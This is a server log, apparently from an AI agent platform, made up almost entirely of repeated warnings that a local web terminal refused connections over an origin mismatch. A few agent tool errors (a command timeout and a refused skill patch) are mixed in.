peer=127.0.0.1 2026-07-20 09:31:05,585 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:10,997 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:16,819 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:22,013 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:27,822 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:33,547 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:38,490 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:43,546 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:48,415 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:53,485 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:31:58,505 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:03,810 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:07,995 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:12,977 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:18,870 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:23,786 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:29,123 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:35,468 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:41,835 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:45,742 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:49,836 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:54,503 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:32:59,611 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:04,548 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:11,749 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:16,866 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:21,943 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:27,096 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:32,858 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:37,579 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:42,406 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:47,399 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:52,370 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:33:56,712 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:01,452 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:03,140 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool terminal returned error (15.14s): {"output": "No 9router process found\n---\n\n[Command timed out after 15s]", "exit_code": 124, "error": null} 2026-07-20 09:34:06,379 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:11,474 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:16,426 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:21,504 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:26,470 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:31,501 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:36,505 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:41,517 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:47,162 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:52,476 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:34:57,382 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:02,671 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:06,715 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:11,554 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:16,450 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:21,456 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:26,481 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:31,489 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:36,503 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:41,573 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:45,825 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:49,711 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:54,526 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:35:59,367 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:04,470 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:09,422 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:14,456 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:19,534 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:24,555 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:29,557 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:34,447 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:39,558 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:44,706 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:49,607 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:54,729 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:36:59,403 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:04,586 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:09,495 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:14,398 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:19,522 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:24,439 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:29,497 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:34,507 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:39,470 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:44,364 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:49,528 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:54,430 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:37:59,577 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:04,344 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:09,435 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:14,510 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:19,368 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:24,514 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:29,418 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:34,459 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:39,410 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:44,493 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:49,540 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:54,750 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:38:59,464 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:04,066 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator patch for skill 'claude-code-9router': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md 2026-07-20 09:39:04,586 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:09,451 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:14,351 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:19,398 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:24,442 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:29,569 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:33,794 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:34,675 WARNING [20260710_094439_1cb443b1] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill 'claude-code-9router': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md 2026-07-20 09:39:38,419 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:43,453 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:48,591 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:53,461 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:39:59,183 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:04,379 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:09,615 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:14,410 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:19,425 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:24,433 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:29,450 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:33,837 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:38,530 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:43,479 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:48,512 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:53,404 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:40:58,094 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:04,133 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:09,431 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:15,692 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:19,963 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:27,986 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:33,389 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:38,422 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:42,683 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:46,754 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:51,530 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:41:56,535 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:01,544 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:06,514 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:11,427 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:16,433 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:21,441 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:26,500 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:31,757 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:36,503 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:41,521 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:46,548 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:51,490 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:42:55,817 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:00,514 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:06,198 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:10,765 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:15,361 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:20,405 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:25,456 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:30,445 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:35,390 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:40,440 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:45,407 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:50,384 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:43:55,561 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:00,772 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:05,657 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:11,115 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:16,512 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:21,466 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:26,492 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:31,388 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:36,398 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:41,493 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:46,623 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-20 09:44:51,606 WARNING 